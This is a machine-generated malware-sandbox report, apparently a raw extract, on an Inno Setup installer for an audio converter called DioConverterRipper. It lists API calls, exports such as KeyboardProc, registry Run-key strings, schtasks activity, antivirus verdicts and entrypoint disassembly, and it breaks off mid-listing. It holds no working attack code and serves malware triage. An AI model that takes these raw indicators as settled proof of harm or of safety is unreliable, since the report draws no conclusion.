InitializeSRWLock (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00001844) "DioConverterRipper.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00001844)30:T4b4,Found GetProcAddress() and LoadLibraryA() in an import section (Source: file) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-OVA8F.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: file.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-DQV0E.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-NS8P1.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-D6C75.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-FP29R.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-LNM07.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-PISV5.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-8S264.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-BF2RD.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-BVAGG.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-RC03K.tmp) Found GetProcAddress() and LoadLibraryA() in an import section (Source: is-1109E.tmp)31:T8d9,"_iscrypt.dll" contains export function called "ArcFourCrypt" at ordinal 1 "_iscrypt.dll" contains export function called "ArcFourInit" at ordinal 2 "_iscrypt.dll" contains export function called "ISCryptGetVersion" at ordinal 3 "is-DQV0E.tmp" contains export function called "KeyboardProc" at ordinal 3 "is-DQV0E.tmp" contains export function called "MouseProc" at ordinal 4 "is-DQV0E.tmp" contains export function called "SaveImageToFile" at ordinal 5 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioBackgroundMedia" at ordinal 6 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioBackgroundMediaEx" at ordinal 7 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioBackgroundMediaExW" at ordinal 8 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioBackgroundMediaW" at ordinal 9 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioDubbingMedia" at ordinal 10 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioDubbingMediaEx" at ordinal 11 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioDubbingMediaExW" at ordinal 12 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioDubbingMediaW" at ordinal 13 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddAudioVolumeTimes" at ordinal 14 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddBCS" at ordinal 15 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddImageEffect" at ordinal 16 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddImageEffectPath" at ordinal 17 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddImageEffectRect" at ordinal 18 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddImageWatermask" at ordinal 19 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddTextWatermask" at ordinal 20 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddVideoWatermask" at ordinal 21 "is-DQV0E.tmp" contains export function called "VideoPlayer_AddZoom" at ordinal 22 "is-DQV0E.tmp" contains export function called "VideoPlayer_AdjustVolume" at ordinal 23 "is-DQV0E.tmp" contains export function called "VideoPlayer_BrowerApplyImgEffect" at ordinal 2432:T1659,"Items.StringsHKEY_CURRENT_USER\...\RunHKEY_LOCAL_MACHINE\...\Run HKEY_LOCAL_MACHINE\...\RunOnceExHKEY_CURRENT_USER\...\RunOnceHKEY_LOCAL_MACHINE\...\RunOnce"HKEY_LOCAL_MACHINE\...\RunServices&HKEY_LOCAL_MACHINE\...\RunServicesOnceTabOrderTPanelPanel1LeftTop_WidthnHeightAAlignalBottom" in Source: is-HPLU5.tmp, "RadioGroup1.ItemsHKEY_CURRENT_USER\...\Run HKEY_LOCAL_MACHINE\...\Run HKEY_LOCAL_MACHINE\...\RunOnceEx HKEY_CURRENT_USER\...\RunOnce HKEY_LOCAL_MACHINE\...\RunOnce HKEY_LOCAL_MACHINE\...\RunServices HKEY_LOCAL_MACHINE\...\RunServicesOnce" in Source: is-HPLU5.tmp, "ParentFontTEditEdit1LeftToptWidthHeightTabOrderTextHKEY_CURRENT_USER\Software\Key1OnChangeEdit1ChangeTEditEdit2LeftTopWidthHeightTabOrderOnChangeEdit2ChangeTRadioGroupRadioGroup1LeftTopWidthHeightCaption" in Source: is-HPLU5.tmp, "Edit1.TextHKEY_CURRENT_USER\Software\Key1" in Source: is-HPLU5.tmp, "VDate: April 17 2012 - 18-009Objects which will be affected on undoing this change (6)r*HKEY_CURRENT_USER\Software\Test "ValName"t+HKEY_CURRENT_USER\Software\Test "ValName2"t+HKEY_CURRENT_USER\Software\Test "ValName3"t+HKEY_CURRENT_USER\Software\Test "ValName3"t+HKEY_CURRENT_USER\Software\Test "ValName3"t+HKEY_CURRENT_USER\Software\Test "ValName3"TPanelPanel5LeftTopWidthHeight:AlignalTop" in Source: is-HPLU5.tmp, "SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" in Source: 19558-4-00416A10, "HKEY_CURRENT_USER\...\Run HKEY_LOCAL_MACHINE\...\Run HKEY_LOCAL_MACHINE\...\RunOnceEx HKEY_CURRENT_USER\...\RunOnce HKEY_LOCAL_MACHINE\...\RunOnce HKEY_LOCAL_MACHINE\...\RunServices HKEY_LOCAL_MACHINE\...\RunServicesOnce" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "HKEY_CURRENT_USER\Software\Key1" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "KEY_CURRENT_USER\Software\Test "ValName"t" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "KEY_CURRENT_USER\Software\Test "ValName2"t" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "KEY_CURRENT_USER\Software\Test "ValName3"t" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "KEY_CURRENT_USER\Software\Test "ValName3"" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "HKEY_LOCAL_MACHINE\...\Run" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "HKEY_LOCAL_MACHINE\...\RunOnceEx" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, "HKEY_LOCAL_MACHINE\...\RunOnce" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, ""HKEY_LOCAL_MACHINE\...\RunServices" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp "&HKEY_LOCAL_MACHINE\...\RunServicesOnce" in Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\SharedDLLs" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Fonts" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Fonts" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\Policy\v4.0" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\Policy\v2.0" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "SOFTWARE\Microsoft\.NETFramework\Policy\v1.1" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "System\CurrentControlSet\Control\Windows" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00005244.00000000.67138.00401000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00005244.00000000.67138.004A1000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005244.00000000.67138.004A1000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005244.00000000.67138.004A1000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\ProfileReconciliation" in Source: 00000000-00005244.00000000.67138.004A1000.00000002.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005244.00000000.67138.028F0000.00000004.mdmp "Software\Microsoft\RestartManager\Session0000" in Source: 00000000-00005244.00000000.67138.028F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\EN Audio Converter_iX" in Source: 00000000-00005244.00000000.67138.04770000.00000004.mdmp33:T863,Antivirus vendors marked dropped file "_iscrypt.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "file.tmp" as clean (type is "PE32 executable (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-DQV0E.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-3ND5L.tmp" as clean (type is "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"), Antivirus vendors marked dropped file "is-SAM9T.tmp" as clean (type is "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"), Antivirus vendors marked dropped file "is-NS8P1.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-D6C75.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-FP29R.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-LNM07.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-PISV5.tmp" as clean (type is "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"), Antivirus vendors marked dropped file "is-8S264.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-BF2RD.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-BVAGG.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-S1360.tmp" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-RC03K.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-1109E.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows")34:T1118,"file.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74aa0000 "file.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74aa0000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74aa0000 "file.exe" loaded module "KERNEL32" at base 74cb0000 "file.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73e60000 "file.exe" loaded module "SHELL32.DLL" at base 74d80000 "file.exe" loaded module "COMCTL32.DLL" at base 71fa0000 "file.exe" loaded module "KERNEL32.DLL" at base 74cb0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73fa0000 "file.exe" loaded module "NTDLL.DLL" at base 77b00000 "file.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74470000 "file.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74aa0000 "file.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74aa0000 "file.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74aa0000 "file.tmp" loaded module "KERNEL32" at base 74cb0000 "file.tmp" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73e60000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73fa0000 "file.tmp" loaded module "KERNEL32.DLL" at base 74cb0000 "file.tmp" loaded module "OLEAUT32.DLL" at base 765f0000 "file.tmp" loaded module "RPCRT4.DLL" at base 76320000 "file.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 76e40000 "file.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 76e40000 "file.tmp" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 77320000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 763e0000 "file.tmp" loaded module "UXTHEME.DLL" at base 73fa0000 "file.tmp" loaded module "SHELL32.DLL" at base 74d80000 "file.tmp" loaded module "SHFOLDER.DLL" at base 73460000 "file.tmp" loaded module "%TEMP%\IS-COCHO.TMP\_ISETUP\_ISCRYPT.DLL" at base 10000000 "file.tmp" loaded module "RSTRTMGR.DLL" at base 73430000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76d40000 "file.tmp" loaded module "USER32.DLL" at base 76e40000 "file.tmp" loaded module "MPR.DLL" at base 74420000 "file.tmp" loaded module "COMCTL32" at base 71fa0000 "file.tmp" loaded module "COMCTL32.DLL" at base 71fa0000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\SHLWAPI.DLL" at base 74590000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 74d80000 "file.tmp" loaded module "%PROGRAMFILES%\(X86)\COMMON FILES\MICROSOFT SHARED\INK\TIPTSF.DLL" at base 73350000 "file.tmp" loaded module "NTDLL.DLL" at base 77b00000 "file.tmp" loaded module "SSPICLI.DLL" at base 74520000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 749a0000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 72e90000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\SFC.DLL" at base 5c30000 "file.tmp" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74470000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 771e0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74aa0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74aa0000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74aa0000 "schtasks.exe" loaded module "KERNEL32" at base 74cb0000 "schtasks.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73e60000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 74cb0000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 76320000 "schtasks.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73980000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 74520000 "DioConverterRipper.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74aa0000 "DioConverterRipper.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74aa0000 "DioConverterRipper.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74aa0000 "DioConverterRipper.exe" loaded module "KERNEL32" at base 74cb0000 "DioConverterRipper.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73e60000 "DioConverterRipper.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74cb0000 "DioConverterRipper.exe" loaded module "APPXSIP.DLL" at base 72de0000 "DioConverterRipper.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 74cb000035:Tfa9,"file" was detected as "Inno Setup Module" and name: "Installer" "file" was detected as "Borland Delphi" and name: "Compiler" "file" was detected as "Turbo Linker" and name: "Linker" "_iscrypt.dll" was detected as "Inno Setup Module" and name: "Installer" "_iscrypt.dll" was detected as "Borland Delphi" and name: "Compiler" "_iscrypt.dll" was detected as "Turbo Linker" and name: "Linker" "is-OVA8F.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-OVA8F.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-OVA8F.tmp" was detected as "Turbo Linker" and name: "Linker" "file.tmp" was detected as "Inno Setup Module" and name: "Installer" "file.tmp" was detected as "Borland Delphi" and name: "Compiler" "file.tmp" was detected as "Turbo Linker" and name: "Linker" "is-DQV0E.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-DQV0E.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-DQV0E.tmp" was detected as "Turbo Linker" and name: "Linker" "is-U81O5.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-U81O5.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-U81O5.tmp" was detected as "Turbo Linker" and name: "Linker" "is-3ND5L.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-3ND5L.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-3ND5L.tmp" was detected as "Turbo Linker" and name: "Linker" "is-SAM9T.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-SAM9T.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-SAM9T.tmp" was detected as "Turbo Linker" and name: "Linker" "is-NS8P1.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-NS8P1.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-NS8P1.tmp" was detected as "Turbo Linker" and name: "Linker" "is-D6C75.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-D6C75.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-D6C75.tmp" was detected as "Turbo Linker" and name: "Linker" "is-FP29R.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-FP29R.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-FP29R.tmp" was detected as "Turbo Linker" and name: "Linker" "is-LNM07.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-LNM07.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-LNM07.tmp" was detected as "Turbo Linker" and name: "Linker" "is-PISV5.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-PISV5.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-PISV5.tmp" was detected as "Turbo Linker" and name: "Linker" "is-8S264.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-8S264.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-8S264.tmp" was detected as "Turbo Linker" and name: "Linker" "is-BF2RD.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-BF2RD.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-BF2RD.tmp" was detected as "Turbo Linker" and name: "Linker" "is-BVAGG.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-BVAGG.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-BVAGG.tmp" was detected as "Turbo Linker" and name: "Linker" "is-S1360.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-S1360.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-S1360.tmp" was detected as "Turbo Linker" and name: "Linker" "is-RC03K.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-RC03K.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-RC03K.tmp" was detected as "Turbo Linker" and name: "Linker" "is-1109E.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-1109E.tmp" was detected as "Borland Delphi" and name: "Compiler" "is-1109E.tmp" was detected as "Turbo Linker" and name: "Linker"36:T417,"file" has an executable section named "CODE" "_iscrypt.dll" has an executable section named ".text" "is-OVA8F.tmp" has an executable section named "CODE" "file.tmp" has an executable section named "CODE" "is-DQV0E.tmp" has an executable section named ".text" "is-U81O5.tmp" has an executable section named ".text" "is-3ND5L.tmp" has an executable section named ".text" "is-SAM9T.tmp" has an executable section named ".text" "is-NS8P1.tmp" has an executable section named ".text" "is-D6C75.tmp" has an executable section named ".text" "is-FP29R.tmp" has an executable section named ".text" "is-LNM07.tmp" has an executable section named ".text" "is-PISV5.tmp" has an executable section named ".text" "is-8S264.tmp" has an executable section named ".text" "is-BF2RD.tmp" has an executable section named ".text" "is-BVAGG.tmp" has an executable section named ".text" "is-S1360.tmp" has an executable section named ".text" "is-RC03K.tmp" has an executable section named ".text" "is-1109E.tmp" has an executable section named ".text"37:T509,"file" has an writable section named "DATA" "file" has an writable section named "BSS" "file" has an writable section named ".idata" "file" has an writable section named ".tls" "is-OVA8F.tmp" has an writable section named "DATA" "is-OVA8F.tmp" has an writable section named "BSS" "is-OVA8F.tmp" has an writable section named ".idata" "is-OVA8F.tmp" has an writable section named ".tls" "file.tmp" has an writable section named "DATA" "file.tmp" has an writable section named "BSS" "file.tmp" has an writable section named ".idata" "file.tmp" has an writable section named ".tls" "is-DQV0E.tmp" has an writable section named ".data" "is-U81O5.tmp" has an writable section named ".data" "is-U81O5.tmp" has an writable section named ".bss" "is-U81O5.tmp" has an writable section named ".idata" "is-3ND5L.tmp" has an writable section named ".data" "is-3ND5L.tmp" has an writable section named ".bss" "is-3ND5L.tmp" has an writable section named ".idata" "is-3ND5L.tmp" has an writable section named ".CRT" "is-3ND5L.tmp" has an writable section named ".tls" "is-3ND5L.tmp" has an writable section named ".rsrc" "is-NS8P1.tmp" has an writable section named ".data" "is-D6C75.tmp" has an writable section named ".data" "is-FP29R.tmp" has an writable section named ".data"38:T305e,"file" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x3c,push ebx,push esi,push edi,xor eax, eax,mov dword ptr [ebp - 0x10], eax,mov dword ptr [ebp - 0x24], eax,call 0x4030dc,call 0x4042e8,call 0x40457c,call 0x4065b8,call 0x406604,call 0x408f38,call 0x4090a4,xor eax, eax,push ebp,push 0x40a2fc,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,xor edx, edx,push ebp,push 0x40a2c5,push dword ptr fs:[edx],mov dword ptr fs:[edx], esp,mov eax, dword ptr [0x40c014],call 0x409b30,call 0x409768,lea edx, [ebp - 0x10],xor eax, eax," "_iscrypt.dll" file has an entrypoint instructions - "cmp dword ptr [esp + 8], 1,jne 0x100011f2,mov eax, dword ptr [esp + 4],push eax,call dword ptr [0x10002000],mov eax, 1,ret 0xc,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "is-OVA8F.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0xc,push ebx,push esi,push edi,call 0x403344,call 0x4056a0,call 0x406334,call 0x409954,call 0x409b88,call 0x410964,call 0x4109dc,call 0x412938,call 0x419050,call 0x424f50,call 0x42f718,call 0x430a04,call 0x44f754,call 0x44fbfc,call 0x450400,call 0x4517e4,call 0x4531dc,call 0x456eec," "file.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0xc,push ebx,push esi,push edi,call 0x403344,call 0x4056a0,call 0x406334,call 0x409954,call 0x409b88,call 0x410964,call 0x4109dc,call 0x412938,call 0x419050,call 0x424f50,call 0x42f718,call 0x430a04,call 0x44f754,call 0x44fbfc,call 0x450400,call 0x4517e4,call 0x4531dc,call 0x456eec," "is-DQV0E.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10049b85,call 0x10059f91,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10049a7f,pop ecx,pop ebp,ret 0xc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x1007f0cc],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc]," "is-U81O5.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 8,mov eax, dword ptr [0x467000],test eax, eax,je 0x401010,int3 ,fnstcw word ptr [ebp - 2],movzx eax, word ptr [ebp - 2],and eax, 0xfffff0c0,mov word ptr [ebp - 2], ax,movzx eax, word ptr [ebp - 2],or eax, 0x33f,mov word ptr [ebp - 2], ax,fldcw word ptr [ebp - 2],mov dword ptr [esp], 0x4065fe,call 0x4488a0,mov esp, ebp,pop ebp,ret ,push ebp,mov ebp, esp,pop ebp,jmp 0x448200,nop ,nop ,nop ,nop ,nop ,nop ,nop ,dec ebp,dec ebx,dec ecx,push ebx,dec edi,inc esi,push ebx,and byte ptr [ecx + 0x53], cl,dec edi,and byte ptr [ecx], bh,xor byte ptr ss:[edi], ch,dec eax,inc esi,push ebx," "is-3ND5L.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x6afea4b0], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x6af813b0,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x6af81220,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x6afd5860,mov edx, dword ptr [esp + 0xc],jmp 0x6af81396,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], 0x6afea000,mov dword ptr [esp + 4], eax,call 0x6afd67c0,add esp, 0x1c,ret ,nop ,nop ,nop ,nop ,nop ,push ebp,mov ebp, esp," "is-SAM9T.tmp" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr 